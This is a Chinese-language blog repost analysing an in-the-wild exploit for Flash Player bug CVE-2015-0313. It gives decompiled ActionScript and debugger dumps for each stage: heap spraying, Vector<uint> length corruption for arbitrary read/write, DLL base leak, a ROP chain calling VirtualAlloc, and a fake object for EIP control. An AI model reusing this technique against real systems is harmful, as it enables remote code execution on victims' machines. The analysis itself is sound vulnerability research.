CVE-2015-0313:New Flash Exploit Analysis

2015-04-05 9,014

概述

最近Flash Player报出来很多高危害的漏洞,一时间火了起来,目测Flash将迎来一大波高潮。

我也来凑个热闹,在这里分享一篇Flash Vulnerability Exploit!另可以参考安全脉搏之前发的一篇《Flash严重漏洞(CVE-2015-0311)详细技术分析(附上exp)

正好没怎么搞过flash,就拿cve-2015-0313来练练手。

我们还是开始正题吧!

flash-html5-225-e1297287594566

环境

漏洞:cve-2015-0313

系统:Windows 7 + IE11 + flash player 16.0.0.296(调试版,该版本和更早版本将触发漏洞)

概要:Exploit, ASLR,ROP,控制EIP

漏洞成因简述

该漏洞是趋势科技在2月份的时候在野外抓到的0day,我们可以在这里看到趋势对该漏洞的大概分析。

先在这里简单分析下漏洞成因,前面趋势的blog也已经提到。我将在这里主要讲该漏洞如何利用的。

Worker:

在分析漏洞之前我们先介绍下ActionScript 3.0中的Worker,简单来说,Worker就是再你运行的主SWF中再运行另一个SWF程序(是不是有点像多线程),所以说这里面有一个很重要的部分就是多个Worker之间共享数据,所以通过ByteArray.shareable属性来实现在worker之间的共享内存。该属性将在worker之间共享ByteArray的数据。大家可以在这里看到更多信息。

domainMemory:

大家都应该知道该属性被用来指定ApplicationDomain中执行全局内存操作的对象,domainMemory继承于ByteArray。

漏洞成因:

该漏洞正好发生在worker和domainMemory之间。漏洞触发的流程如下:

1)在主worker中创建子worker,然后worker间共享ByteArray数据

2)在主worker中将共享的ByteArray对象设置为domainMemory

3)在子worker中通过ByteArray.Clear将共享的ByteArray内存清除

4)但是这时候domainMemory任然可以引用共享的内存区域,这是因为子worker调用clear清除内存的时候没有通知domainMemory修改对共享的引用。这就是bug所在。

写到这里相信有心之人已经能够自己构造poc了。(怕

 

Exploit技术细节

前面分析了漏洞触发原因,接下来我们重点分析下该样本是如何利用该漏洞的。(该样本使用了很多技巧来绕开杀软和增加分析的难度,这里先不说这些,大家肯定更关心是如何利用的)

确定攻击环境:

通过以下代码获得Flash Player的版本

var _loc7_:String = Capabilities.version.toLowerCase();

 

如果不是window,直接退出

var _loc6_:String = _loc7_.substr(0,4);
if(_loc6_ != "win ")
{
return 0;
}

 

然后再针对Flash Player版本号进行判断

var 
_loc3_:Boolean = this.var_13 >= 130000259 && this.var_13 < 140000000 || this.var_13 == 150000246 || this.var_13 >= 160000235;

 

以上代码中的160000235代表版本号16.0.0.235,如果_loc3_的结果为flase便退出

下载URL:

该样本获取javascript传递的参数来获取下载URL

_loc14_ = root.loaderInfo.parameters.exec;

 

然后再经过一系列的变换得到真正的URL,这里就不累述

之后会把编码后的shellcode(字符串的形式)写入ByteArray

布局内存:

接下来,该exp开始执行最重要的步骤,通过Vector.<Object>来heap spray,控制内存布局,类似代码如下:

this.var_48 = new Vector.<Object>(0x1020);
_loc2_ = 0;
while(_loc2_ < this.aNmlxJ)
{
loc16_ = new ByteArray();
_loc16_.endian = "littleEndian";
this.var_48[_loc2_] = _loc16_;
_loc2_++;
}

 

然后就是填充每个Vector元素,该Exp用ByteArray来填充

g_bt = new ByteArray();
g_bt.shareable = true;
g_bt.endian = "littleEndian";
_loc2_ = 0;
while(_loc2_ < this.vecLength)
{
   if(_loc2_ != 817)                                        ;
   {
      _loc16_ =this.var_48[_loc2_] as ByteArray;
      _loc16_.length = 0x2000;
      wIntInByteArr(_loc16_,0xcccccccc);      ;向ByteArray写入0xcccccccc
      _loc16_.writeInt(0xbabefac0);                 ;写入标记
      _loc16_.writeInt(0xbabefac1);
      _loc16_.writeInt(_loc2_);
      _loc16_.writeInt(0xbabefac3);
   }
   else
   {
      g_bt.length = 0x2000;
      wIntInByteArr(g_bt,0x33333333);          ;写入0x33333333
   }
   _loc2_++;
}

 

如上代码所示,this.var_48[817] 并没有分配实例,“取而代之”的是g_bt:ByteArray,同样分配了0x2000字节的大小。

这时候我们可以看看内存中的布局情况,不过首先我们先看下ByteArray在内存中的数据结构。

在本例中g_bt对象实例的地址是ab22581,但是这不是真是的内存地址,这是因为AVM在操作数据时,都是以atom为基本类型,地址的最后3 bits百村了对象指针的信息。

 

Untagged       = 000 (0)
    Object        = 001 (1)
    String         = 010 (2)
    Namespace    = 011 (3)
    "undefined"   = 100 (4)
    Boolean      = 101 (5)
    Integer       = 110 (6)
    Number       = 111 (7)

 

所以,我们需要经过 “Object address & 0xfffffff8” 的操作来得到真正的对象地址。

g_bt对象实例的真实地址是ab22580。现在来看下内存结构

0:027> dd ab22580
0ab22580  65b6af90 00000004 08c913f8 0ab38940
0ab22590  0ab2259c 00000040 00000000 65b6af40
0ab225a0  65b6af4c 65b6af3c 65bbacc8 08ea5080
0ab225b0  08cd9000 0ab1bb38 00000000 00000000
0ab225c0  65b89164 0ab21500 00000001 00000000
0ab225d0  65b6af34 00000003 00000001 00000000

 

也许想要把整个结构逆出来确实比较难,但是我们并不需要关心这么多,只需要关心最重要的部分。

在偏移0x44处有个指针,我们再来看下该指针指向的内存区域

0:027> dd 0ab21500 
0ab21500  65b6a4c4 00000001 0be97000 00002000
0ab21510  00002000 00000000 65b5e5b8 0c412000

 

事实上,在偏移0x8处的指针指向ByteArray对象存储的数据其实位置

0:027> dd 0be97000 
0be97000  33333333 33333333 33333333 33333333
0be97010  33333333 33333333 33333333 33333333
0be97020  33333333 33333333 33333333 33333333
0be97030  33333333 33333333 33333333 33333333
0be97040  33333333 33333333 33333333 33333333
0be97050  33333333 33333333 33333333 33333333
0be97060  33333333 33333333 33333333 33333333
0be97070  33333333 33333333 33333333 33333333

 

还记得前面代码中写入g_bt的0x33333333么

现在终于找到了g_bt中数据内容的实际地址,我们知道g_bt的length是0x2000,这时我们在来看看g_bt附近的内容是什么。

0:027> dd 0be97000 +2000-20
0be98fe0  33333333 33333333 33333333 33333333
0be98ff0  33333333 33333333 33333333 33333333
0be99000  babefac0 babefac1 00000332 babefac3
0be99010  cccccccc cccccccc cccccccc cccccccc
0be99020  cccccccc cccccccc cccccccc cccccccc
0be99030  cccccccc cccccccc cccccccc cccccccc
0be99040  cccccccc cccccccc cccccccc cccccccc
0be99050  cccccccc cccccccc cccccccc cccccccc

 

这是g_bt + 0x2000附近的内存,看到红色部分的数据是不是很眼熟,对了,这就是前面写入其他ByteArray中的数据,其中0x332(818)便是每个ByteArray在Vector中的序号。

再来看看附近其他地址的内容:

0:027> dd 0be97000 -2000-20
0be94fe0  cccccccc cccccccc cccccccc cccccccc
0be94ff0  cccccccc cccccccc cccccccc cccccccc
0be95000  babefac0 babefac1 00000330 babefac3
0be95010  cccccccc cccccccc cccccccc cccccccc
0be95020  cccccccc cccccccc cccccccc cccccccc
0be95030  cccccccc cccccccc cccccccc cccccccc
0be95040  cccccccc cccccccc cccccccc cccccccc
0be95050  cccccccc cccccccc cccccccc cccccccc

 

跟前面的内容如出一辙,同样是之前写入ByteArray的数据内容,而且序号是0x330(816)。当然如果继续往更前或更后面看情况也是一样的。

所以我们可以知道内存布局的大概情况如下:

 

flash1

OK,接下来Exp在子worker中同样申请了大量内存

_loc4_ = new Vector.<Object>(0x1020);
_loc2_ = 0;
while(_loc2_ < 0x1020)
{
   _loc6_ = new ByteArray();
   _loc6_.endian = "littleEndian";
   _loc6_.length = 0x2000;
   wIntInByteArr(_loc6_,0x35555555);
   _loc4_[_loc2_] = _loc6_;
   _loc2_++;
}

 

然后Exp在子worker中清除共享的ByteArray数据内容,通过调用ByteArray.Clear()

_loc3_ = Worker.current.getSharedProperty("PLusbbEE");
_loc3_.clear();

 

这时前面g_bt指向的数据区域将被清空,同时g_bt的length也将会被置零,但是domainMemory任然持有对该内存区域的引用。

之所以在调用Clear()之前再次堆喷,是为了确保一下代码能顺利占位成功

hIR = new ByteArray();
hIR.length = 0x2000; 
wIntInByteArr(hIR, 0xbbbbbbbb);
hIR.shareable = true;
Worker.current.setSharedProperty("ooYYuaYhx",hIR);

 

这个时候前面的内存布局将有所改变

 

flash2

并且在worker间共享hIR。

接下来再在主worker中清除Vector中序数为奇数的元素(ByteArray)的数据内容,同时再次调用ByteArray.Clear()清除共享的ByteArray数据。

while(_loc5_ < 0x1020)
{
   if(_loc5_ == 817)    
   {
      this.dataAfterClear.clear();  
   }
   else if(_loc5_ % 2)
   {
      _loc6_ = this.var_48[_loc5_] as ByteArray;
      this.wIntInByteArr(_loc6_,this.num_0xdddddddd);
      _loc6_.clear();               
   }
   _loc5_++;
}

 

这时候前面的内存布局将又有些许变化

 

flash3

紧接着主worker分配大量Vector<uint>占位

this.objVec = new Vector.<Object>(11540);
_loc4_ = 0;
while(_loc4_ < 11540)
{
   this.objVec[_loc4_] = new Vector.<uint>();
   _loc4_++;
}
_loc4_ = 0;
while(_loc4_ < 11540)
{
   _loc3_ = this.objVec[_loc4_] as Vector.<uint>;
   _loc3_.length = 114;
   _loc3_[0] = this.num_0xfeedbabe;
   _loc3_[1] = _loc4_;
   _loc3_[2] = this.num_0xbabeface;
   _loc4_++;
}

 

先来看下占位之前的内存(布局图中绿色区域)

0:027> dd 0c338000
0c338000  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
0c338010  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
0c338020  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
0c338030  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
0c338040  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
0c338050  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
0c338060  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
0c338070  bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb

 

然后再来看看占位成功后的情况

0:006> dd 0c338000 
0c338000  00000000 00000000 0c339000 0c335000
0c338010  01f80008 00000000 00000000 67a85e9c
0c338020  00000072 085f9000 feedbabe 00001530
0c338030  babeface 00000000 00000000 00000000
0c338040  00000000 00000000 00000000 00000000
0c338050  00000000 00000000 00000000 00000000
0c338060  00000000 00000000 00000000 00000000
0c338070  00000000 00000000 00000000 00000000

Important data 1

没错,前0x20字节就是page header,从0x0c338020开始就是占位用的Vector<uint>对象的数据区域,这是由于AVM自身的内存分配管理器的分配机制决定的,该0x2000字节大小的内存块被划分为0x1f8(0x1f8=72*4+8+0x28(用0xbbbbbbbb填充))大小的内存块来存放Vector<uint>。该部分详见李海飞paper:smashing_the_heap_with_vector_Li。

其中蓝色的4字节数据就是Vector<uint>对象的长度,偏移0x8便是Vector<uint>数据的起始地址,还记得前面写入的数据吗。

其中紫色的8字节数据很重要,后面会提到。

为了确认是否正确,可以先看下

Vector<uint>在内存中的数据结构

0:008> dd ba2a650
0ba2a650  6777b1c0 20000006 0ad4e1f0 0ad4b628
0ba2a660  0ad19150 00000000 00000001 0c338020
0ba2a670  00000000 00000000 6777b1c0 00000004
0ba2a680  0ad4e1f0 0ad4b628 0ad19150 00000000

 

偏移0x1c处的数据便是Vector<uint>的数据区域

现在再来看下占位成功后的内存布局

 

flash4

通过一下图片可以验证(下图中内存地址由0c338000变为0c0bc000):

flash5

 

图片1

再看看加0x4000处的内存:

flash6

 

图片2

以上两图验证了内存布局的结果。

破坏内存:

接下来domainMemory仍然保存着对被占位数据的引用,所有可以直接修改Vector<uint>的长度,这样修改后

Vector<uint>便可以越界读写,效果如下

0:002> dd 0c338000 
0c338000  00000000 00000000 0c339000 0c335000
0c338010  01f80008 00000000 00000000 67a85e9c
0c338020  40000000 085f9000 feedbabe 00001530
0c338030  babeface 00000000 00000000 00000000
0c338040  00000000 00000000 00000000 00000000
0c338050  00000000 00000000 00000000 00000000
0c338060  00000000 00000000 00000000 00000000
0c338070  00000000 00000000 00000000 00000000

 

类似代码如下:

while(_loc4_ < _loc2_)
{
   _loc5_ = this.li32(_loc4_);
   if(_loc5_ == 114)
   {
      _loc5_ = this.li32(_loc4_ + 8); 
      if(_loc5_ == 0xfeedbabe)
      {
         this.var_24 = false;
         this.si32(_loc4_, 0x40000000);
         return true;
      }
   }
   _loc4_ = _loc4_ + 4;
}

 

样本中还有对x86,x64的判断就不在这里累述了

越界读写:

当然要想真正做到越界读写,还需要找到对应的Vector[index]元素,代码如下:

var _loc4_:Vector.<uint> = null;
var _loc3_:* = 0;
while(_loc3_ < 11540)
{
   _loc4_ = this.objVec[_loc3_] as Vector.<uint>;
   if(!(_loc4_.length == 114) )                         ; length被修改为0x40000000
   {
      this.corropUintVecInd = _loc3_;                     ; 被修改长度的Vector<uint>对象的index
      this.corropUintVec = _loc4_;                   ;被修改长度的Vector<uint>对象
      return true;
   }
   _loc3_++;
}

 

通过以上代码就可以找到被修改长度的Vector<uint>对象(this.corropUintVec),这样就是可以通过corropUintVec[index]实现越界读写,index可以大于原来的length 0x72。

任意地址读写:

首先该Exp通过查找前面写入Vector<uint>对象的标记数据找到了

Next page +

Vector<uint>(图片2),代码如下:

while(_loc3_ < _loc7_)
{
   _loc8_ = this.corropUintVec[_loc3_];
   if(this.corropUintVec[_loc3_] == this.num_0xfeedbabe)                            ;标记1
   {
      _loc8_ =this.corropUintVec[_loc3_ + 2];
      if(this.corropUintVec[_loc3_ + 2] == this.num_0xbabeface)          ;标记2
      {
         this.NextVecUint= this.corropUintVec[_loc3_ + 1];          
         _loc2_ = _loc3_;
         break;
      }
   }
   _loc3_++;
}
return _loc2_ * 4;

 

其中标记为红色的变量记录的是Next

Vector<uint>的index,返回的是Next Vector<uint>的相对被修改长度Vector<uint>( this.corropUintVec)的偏移

紧接着通过以下代码得到图片3中红框中的数据,还记得前面还记得前面important data 1中用紫色标出的2个重要字段吗,这就是其中之一(具体的地址值有变化)

flash7

 

图片3

代码如下:

var _loc13_:uint = (NextUintVecOff – 8)/4 ;
this.UintVecAboutObj = this.corropUintVec[_loc13_ + 1];

 

这个字段为什么很重要后面会继续讲到。

这时再通过增加找到的Vector<uint>(序号为0x14e0)的长度,将该内存块中第一个0x1f8的子块释放掉,这是AVM便会在page header 中写入该内存块的地址。

代码如下:

this.var_62 = this.objVec[this.NextVecUint] as Vector.<uint>;
this.var_62.length = this.num_114 * 2;               ;由于长度被修改,将重新分配内存块并释放

 

内存图如下:

flash8

 

图片4

如上所说,该内存已经被释放,长度清零,该内存中的Vector<uint>的数据被复制到新申请的内存。Flash Player中的实现代码如下:

t01e56ef00a304d2a41

 

图片5

接下来通过以下类似代码,得到清空的

Vector<uint>数据块的地址:

NextPageInd = (0x4000-0x28) / 4;
this.NextUintVecAdd = this.corropUintVec[NextPageInd];

 

紧接着得到被修改Vector<uint>的数据字段的起始位置:

this.corUintVecDataAdd = this.NextUintVecAdd - 0x4000 + 8;

 

这时候就可是实现任意地址读写了,类似代码如下:

private final function get4Bytes(address:uint): uint
{
   var ind:uint = 0;
   ind = (address - this.corUintVecDataAdd) / 4;                     ;x86
   return this.corropUintVec[ind]; 
}

 

泄露基址:

再来重温下前面提到的2个重要字段

0:006> dd 0c338000 
0c338000  00000000 00000000 0c339000 0c335000
0c338010  01f80008 00000000 00000000 67a85e9c
0c338020  00000072 085f9000 feedbabe 00001530
0c338030  babeface 00000000 00000000 00000000
0c338040  00000000 00000000 00000000 00000000
0c338050  00000000 00000000 00000000 00000000
0c338060  00000000 00000000 00000000 00000000
0c338070  00000000 00000000 00000000 00000000

 

Important data 1

这是前面提到过的Next page的数据内存,在偏移0x1c处是第一个重要字段,读者肯定已经猜到,就是可以用来泄露flash player 模块基址的数据。

经过前面的操作Next page中的数据已经有了些许,如图片4所示,但是在偏移0x1c处依然存放着我们想要的数据

Ind = (0x4000 – c) / 4;
this.leakData = this.corropUintVec[ind];

 

通过以上代码便可获取,接下来就是用该字段来泄露基址,该Exp泄露基址的方式可以说非常简单,粗暴,来看代码:

 

代码是这样的:

var _loc1_:uint = this.leakData & 0xfffff000; 
while(true)
{
   _loc8_ = this.get4Bytes(_loc1_);
   if(_loc8_ != 0x905a4d)                  ; dll的pe头,MZ
   {
      _loc1_ = _loc1_ - 0x1000;     //get flash DLL baseaddress
      continue;
   }
   break;
}

 

对,就是这么简单,没有任何的花式技巧,你没有看错,就是这么粗暴(haoxihuan)!!!

接下来就可以动态的构造ROP了,ROP也是非常简单的

0:005> dps 0c0bc000    +3000
0c0bf000  66a7b7e2 Flash32_16_0_0_296+0xb7e2
0c0bf004  66be1c86 Flash32_16_0_0_296+0x171c86
0c0bf008  66a90ace Flash32_16_0_0_296+0x20ace
0c0bf00c  66c62c07 Flash32_16_0_0_296+0x1f2c07
0c0bf010  66dc4f67 Flash32_16_0_0_296!DllUnregisterServer+0x1547de
0c0bf014  66c24f3c Flash32_16_0_0_296+0x1b4f3c
0c0bf018  76aec4ea kernel32!VirtualAllocStub
0c0bf01c  0c0bf030
0c0bf020  0c0bf000
0c0bf024  00002000
0c0bf028  00001000
0c0bf02c  00000040

 

控制EIP:

该Exp控制EIP还是略有不同,还记得前面提到的用紫色标记的2个重要字段吗,还有一个没有用,是的,就是这一个。

该字段实际上指向一个对象,在修改Vector<uint>的长度的时候会用改该对象,所以Exp伪造了一个该对象,通过修改相应的标志位和虚表控制EIP。

var _loc3_:uint = 0x40000000 - 1;
this.corropUintVec[_loc3_] = this.fakeObjAdd;

 

这时的Vector<uint>如下:

0:005> dd 0c0bc000 
0c0bc000  00000000 00000000 0c0bd000 0c0b9000
0c0bc010  01f80008 00000000 00000000 67a85e9c
0c0bc020  40000000 0c0bec00 feedbabe 000014d0
0c0bc030  babeface 00000000 00000000 00000000
0c0bc040  00000000 00000000 00000000 00000000
0c0bc050  00000000 00000000 00000000 00000000
0c0bc060  00000000 00000000 00000000 00000000

 

红色标记的字段已经被修改指向可控的内存区域(与该page紧邻的ByteArray数据区),如果你要问为什么索引是0x3fffffff,是因为操作Vector<uint>的代码如下:

0ab94a39        mov     dword ptr [eax+ecx*4+8],ebx

 

其中eax指向Vector<uint>数据区域的起始地址,ecx代表index

而伪造的对象如下:

0:005> dd 0c0bc000 +2c00
0c0bec00  cccccccc 00010000 cccccccc cccccccc
0c0bec10  cccccccc cccccccc cccccccc cccccccc
0c0bec20  cccccccc cccccccc cccccccc cccccccc
   …
0c0bed70  cccccccc cccccccc cccccccc cccccccc
0c0bed80  0c0bf000 00000001 cccccccc cccccccc
0c0bed90  cccccccc cccccccc cccccccc cccccccc
0c0beda0  cccccccc cccccccc cccccccc 00000000
0c0bedb0  cccccccc cccccccc cccccccc cccccccc
0c0bedc0  cccccccc cccccccc cccccccc cccccccc
0c0bedd0  cccccccc cccccccc cccccccc cccccccc
0c0bede0  cccccccc 0c0bed80 cccccccc cccccccc

 

0x0c0bed80处的数据指向ROP,这时候调用以下代码,控制EIP:

this.corropUintVec.length = this.num_114 * 2;

 

汇编代码:

66aba247        mov     eax,dword ptr [ecx]
66aba249        call      dword ptr [eax+4]

 

ecx指向已经写入的ROP链地址,接下来将执行任意代码!

【原文:CVE-2015-0313:New Flash Exploit Analysis 作者:tedjoy

本文作者:SP胖编

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/5759.html

Tags:
评论  (0)
快来写下你的想法吧!

SP胖编

文章数:59 积分: 0

神器 神器 神器

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号